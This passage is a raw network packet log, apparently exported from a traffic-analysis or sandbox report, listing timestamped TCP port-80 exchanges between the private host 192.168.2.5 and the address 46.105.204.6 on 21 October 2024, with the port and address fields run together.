                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.311969995 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312163115 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312175035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312185049 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312212944 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312236071 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312479019 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312566996 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312577963 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312587976 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312597990 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312608957 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312611103 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312633038 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312649012 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312839985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312850952 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312860966 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312896967 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.312990904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313002110 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313013077 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313041925 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313067913 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313097954 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313110113 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313118935 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313129902 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313139915 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313141108 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313164949 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313540936 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313553095 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313563108 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313589096 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.313617945 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.354852915 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.354871035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.354882956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.355030060 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361080885 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361098051 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361110926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361124992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361134052 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361156940 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361167908 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361203909 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361208916 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361280918 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361293077 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361303091 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361320019 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361346960 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361507893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361520052 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361531019 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361561060 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361705065 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361717939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361730099 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361743927 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361757040 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361783028 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361946106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361958027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361968040 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361978054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.361993074 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.362011909 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.362159014 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.362178087 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.362205029 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400285959 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400312901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400325060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400336027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400348902 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400361061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400372982 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400456905 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400480986 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400477886 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400477886 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400525093 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400590897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400603056 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400621891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400633097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400635958 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400650978 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400665998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400968075 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400980949 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.400993109 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401005030 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401019096 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401045084 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401252985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401290894 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.401328087 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429001093 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429017067 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429027081 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429038048 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429050922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429092884 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429095984 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429105997 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429121017 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429126024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429145098 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429155111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429156065 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429172039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429184914 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429210901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429222107 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429224968 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429234028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429245949 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429256916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429270983 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429321051 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429919004 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429975033 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429980993 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.429990053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430002928 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430013895 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430035114 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430064917 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430141926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430155039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430166006 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430193901 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430232048 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430243015 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430253983 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430284023 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430314064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430370092 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430381060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430392981 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430428028 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430444956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430458069 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430572987 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430756092 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430766106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430777073 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430813074 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.430813074 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.472069025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.472088099 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.472103119 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.472233057 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478487968 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478523016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478535891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478543043 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478547096 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478549004 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478600025 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478626013 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478636026 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478655100 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478672981 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478683949 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478688955 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478704929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478713989 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478717089 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478732109 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478746891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478769064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.478769064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479252100 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479263067 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479274035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479310989 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479310989 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479417086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479439020 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479450941 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479461908 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479473114 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479492903 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.479492903 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517525911 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517544031 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517564058 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517575979 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517585993 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517599106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517631054 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517679930 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517687082 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517730951 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517740965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517744064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517775059 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517792940 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517805099 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517826080 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.517839909 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518049002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518060923 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518073082 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518085003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518131018 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518131018 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518244028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518307924 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518315077 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518328905 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518359900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518371105 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518379927 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.518409014 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.545948029 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.545979977 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.545991898 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546001911 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546015024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546024084 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546063900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546075106 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546101093 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546112061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546112061 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546184063 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546224117 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546261072 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546272039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546272039 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546303034 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546314001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546319962 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546365023 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546600103 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546633005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546643019 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546693087 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546926022 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546937943 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546948910 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.546982050 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547017097 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547020912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547034025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547044992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547111034 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547189951 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547208071 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547219038 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547230005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547280073 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547280073 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547473907 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547486067 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547503948 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547514915 CEST804970446.105.204.6192.168.2.5
